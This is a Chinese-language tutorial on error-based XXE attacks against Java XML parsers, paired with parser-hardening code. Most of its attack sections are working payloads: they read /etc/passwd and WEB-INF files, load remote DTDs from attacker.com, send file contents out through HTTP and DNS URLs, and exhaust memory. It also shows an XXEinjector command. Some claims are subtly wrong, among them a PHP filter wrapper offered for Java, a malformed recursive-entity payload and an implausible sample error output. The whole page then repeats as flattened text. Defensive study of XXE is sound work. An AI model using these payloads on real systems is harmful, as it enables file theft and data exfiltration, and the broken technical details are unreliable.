Java漏洞在黑盒实战中的技巧——Error Based XXE篇
字数 1477 2025-08-29 08:29:58

Java漏洞实战:Error Based XXE攻击与防御

一、XXE漏洞原理与攻击场景

1.1 核心漏洞原理

XXE(XML External Entity)漏洞的核心在于XML解析器未禁用外部实体加载,攻击者可构造恶意XML实现:

  • 读取系统敏感文件
  • 发起SSRF攻击
  • 执行远程代码

1.2 Error Based XXE特点

Error Based XXE特指通过错误消息泄露敏感数据的攻击方式,常见于以下场景:

  • 调试模式开启:应用在错误响应中返回详细堆栈信息
  • 异常处理不当:捕获异常后未正确过滤敏感内容
  • 文件路径泄露:通过错误信息推断文件是否存在或部分内容

二、攻击代码实战案例

2.1 基础XXE构造

漏洞代码示例(使用DOM解析器)

// 不安全的XML解析
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder db = dbf.newDocumentBuilder();
Document doc = db.parse(new InputSource(request.getInputStream())); // 直接解析用户输入

攻击载荷

<!-- 读取/etc/passwd -->
<!DOCTYPE root [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>

触发结果:若文件内容包含XML非法字符(如<或&),解析器抛出异常并返回错误信息,其中可能包含文件片段。

2.2 Error Based高级利用

场景:当直接回显被过滤时,通过错误消息外带数据。

攻击载荷设计

<!DOCTYPE root [
  <!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd">
  %remote;
  %error;
]>

远程DTD文件(evil.dtd)

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%eval;

攻击流程

  1. 解析器加载远程DTD
  2. 尝试将/etc/passwd内容拼接到不存在的文件路径
  3. 系统抛出FileNotFoundException,错误信息中包含文件路径(即泄露数据)

2.3 绕过字符过滤技巧

场景:当特殊字符被转义时,使用CDATA包裹+错误触发:

<!DOCTYPE root [
  <!ENTITY % start "<![CDATA[">
  <!ENTITY % end "]]>">
  <!ENTITY % file SYSTEM "file:///etc/passwd">
  <!ENTITY % wrapper "<!ENTITY % combined '%start;%file;%end;'>">
  %wrapper;
]>
<root>&combined;</root>

触发错误:若CDATA内容包含非法结构,解析错误信息将暴露部分数据。

三、Java各XML解析器的安全配置

3.1 DocumentBuilderFactory加固

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
// 禁用DTD
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
// 禁用外部实体
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
dbf.setXIncludeAware(false);
dbf.setExpandEntityReferences(false);

3.2 SAXParserFactory加固

SAXParserFactory spf = SAXParserFactory.newInstance();
spf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
spf.setFeature("http://xml.org/sax/features/external-general-entities", false);
spf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);

3.3 XMLInputFactory加固(StAX)

XMLInputFactory xif = XMLInputFactory.newInstance();
xif.setProperty(XMLInputFactory.SUPPORT_DTD, false);
xif.setProperty("javax.xml.stream.isSupportingExternalEntities", false);

四、高级绕过与检测技巧

4.1 UTF-16编码绕过

攻击载荷

<?xml version="1.0" encoding="UTF-16BE"?>
<!DOCTYPE root [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>

检测逻辑

// 检查编码类型
if (!"UTF-8".equals(request.getCharacterEncoding())) {
  throw new InvalidInputException("Unsupported encoding");
}

4.2 XInclude攻击

漏洞代码

// 启用XInclude的解析
dbf.setXIncludeAware(true);

攻击载荷

<root xmlns:xi="http://www.w3.org/2001/XInclude">
  <xi:include href="file:///etc/passwd" parse="text"/>
</root>

五、防御方案与检测工具

5.1 全局安全配置(推荐)

在jaxp.properties文件中设置:

javax.xml.accessExternalDTD=deny
javax.xml.accessExternalSchema=deny

5.2 自定义EntityResolver

db.setEntityResolver(new EntityResolver() {
  @Override
  public InputSource resolveEntity(String publicId, String systemId) {
    throw new SAXException("Blocked external entity: " + systemId);
  }
});

5.3 自动化检测工具

# 使用XXEinjector进行测试
ruby XXEinjector.rb --host=attacker.com --path=/etc/passwd --file=req.xml
# 使用OWASP ZAP主动扫描

六、错误信息处理最佳实践

try {
  // XML解析逻辑
} catch (ParserConfigurationException | SAXException | IOException e) {
  // 记录日志但不返回详情
  logger.error("XML parsing error", e);
  throw new GenericException("Invalid XML format"); // 返回通用错误
}

七、高级Error Based XXE技巧

7.1 利用Java网络协议特性外带数据

攻击Payload

<!DOCTYPE root [
  <!ENTITY % file SYSTEM "netdoc:///etc/passwd">
  <!ENTITY % error "<!ENTITY % exfil SYSTEM 'http://attacker.com/?data=%file;'>">
  %error;
]>
<root></root>

7.2 利用JAR协议读取WEB-INF敏感文件

<!DOCTYPE root [
  <!ENTITY % exploit SYSTEM "jar:file:///var/lib/tomcat/webapps/app.war!/WEB-INF/web.xml">
  <!ENTITY % error "<!ENTITY % exfil SYSTEM 'file:///invalid/%exploit;'>">
  %error;
]>

7.3 利用XInclude触发错误回显

<root xmlns:xi="http://www.w3.org/2001/XInclude">
  <xi:include href="file:///etc/passwd" parse="text"/>
</root>

7.4 利用字符集转换错误泄露数据

<!DOCTYPE root [
  <!ENTITY % file SYSTEM "file:///etc/passwd">
  <!ENTITY % conv "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;?force_charset=ISO-8859-1'>">
  %conv;
]>
<root></root>

7.5 利用DTD递归实体耗尽内存

<!DOCTYPE root [
  <!ENTITY % a "&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;">
  <!ENTITY % b "&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;">
  %a;
]>

八、综合攻击策略

8.1 协议探测顺序

file:// → netdoc:// → jar:// → http://localhost (SSRF组合利用)

8.2 错误信息过滤绕过

  • 使用Base64编码:file:///etc/passwdphp://filter/read=convert.base64-encode/resource=/etc/passwd
  • 分块提取:<!ENTITY % p1 SYSTEM "file:///etc/passwd%00" (利用空字节截断)

8.3 时间差盲测

<!ENTITY % hugefile SYSTEM "file:///dev/zero">
<!ENTITY % loop "<!ENTITY % send SYSTEM 'http://attacker.com/?delay=5000'>">

九、实战检测流程

  1. 环境探测

    <!DOCTYPE test [<!ENTITY % v SYSTEM "file:///dev/null"> %v;]>
    
  2. 协议探测
    尝试不同协议读取/proc/self/environ(Linux环境变量)

  3. 数据提取
    使用分块编码+错误组合攻击逐步获取敏感文件内容

  4. 隐蔽外传
    将数据嵌入DNS查询或HTTP头字段:

    <!ENTITY % exfil SYSTEM 'http://attacker.com/.%file;.evil.com'>
    

十、总结与防御要点

关键防御点:

  1. 始终禁用DTD和外部实体
  2. 严格限制XML输入编码格式
  3. 使用白名单校验XML结构
  4. 禁止详细错误信息回显
  5. 对所有XML解析器进行安全配置

攻击验证步骤:

  1. 发送恶意XML探测错误响应:

    POST /api/parse HTTP/1.1
    Content-Type: application/xml
    
    <!DOCTYPE root [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
    <root>&xxe;</root>
    
  2. 观察响应是否包含文件内容片段:

    <错误信息>org.xml.sax.SAXParseException: The entity "xxe" was referenced, but not declared.
    File "/etc/passwd" line 1: root:x:0:0:root:/root:/bin/bash...</错误信息>
    
Java漏洞实战:Error Based XXE攻击与防御 一、XXE漏洞原理与攻击场景 1.1 核心漏洞原理 XXE(XML External Entity)漏洞的核心在于XML解析器未禁用外部实体加载,攻击者可构造恶意XML实现: 读取系统敏感文件 发起SSRF攻击 执行远程代码 1.2 Error Based XXE特点 Error Based XXE特指通过错误消息泄露敏感数据的攻击方式,常见于以下场景: 调试模式开启 :应用在错误响应中返回详细堆栈信息 异常处理不当 :捕获异常后未正确过滤敏感内容 文件路径泄露 :通过错误信息推断文件是否存在或部分内容 二、攻击代码实战案例 2.1 基础XXE构造 漏洞代码示例(使用DOM解析器) : 攻击载荷 : 触发结果 :若文件内容包含XML非法字符(如 <或&),解析器抛出异常并返回错误信息,其中可能包含文件片段。 2.2 Error Based高级利用 场景 :当直接回显被过滤时,通过错误消息外带数据。 攻击载荷设计 : 远程DTD文件(evil.dtd) : 攻击流程 : 解析器加载远程DTD 尝试将/etc/passwd内容拼接到不存在的文件路径 系统抛出FileNotFoundException,错误信息中包含文件路径(即泄露数据) 2.3 绕过字符过滤技巧 场景 :当特殊字符被转义时,使用CDATA包裹+错误触发: 触发错误 :若CDATA内容包含非法结构,解析错误信息将暴露部分数据。 三、Java各XML解析器的安全配置 3.1 DocumentBuilderFactory加固 3.2 SAXParserFactory加固 3.3 XMLInputFactory加固(StAX) 四、高级绕过与检测技巧 4.1 UTF-16编码绕过 攻击载荷 : 检测逻辑 : 4.2 XInclude攻击 漏洞代码 : 攻击载荷 : 五、防御方案与检测工具 5.1 全局安全配置(推荐) 在jaxp.properties文件中设置: 5.2 自定义EntityResolver 5.3 自动化检测工具 六、错误信息处理最佳实践 七、高级Error Based XXE技巧 7.1 利用Java网络协议特性外带数据 攻击Payload : 7.2 利用JAR协议读取WEB-INF敏感文件 7.3 利用XInclude触发错误回显 7.4 利用字符集转换错误泄露数据 7.5 利用DTD递归实体耗尽内存 八、综合攻击策略 8.1 协议探测顺序 8.2 错误信息过滤绕过 使用Base64编码: file:///etc/passwd → php://filter/read=convert.base64-encode/resource=/etc/passwd 分块提取: <!ENTITY % p1 SYSTEM "file:///etc/passwd%00" (利用空字节截断) 8.3 时间差盲测 九、实战检测流程 环境探测 协议探测 尝试不同协议读取 /proc/self/environ (Linux环境变量) 数据提取 使用分块编码+错误组合攻击逐步获取敏感文件内容 隐蔽外传 将数据嵌入DNS查询或HTTP头字段: 十、总结与防御要点 关键防御点: 始终禁用DTD和外部实体 严格限制XML输入编码格式 使用白名单校验XML结构 禁止详细错误信息回显 对所有XML解析器进行安全配置 攻击验证步骤: 发送恶意XML探测错误响应: 观察响应是否包含文件内容片段: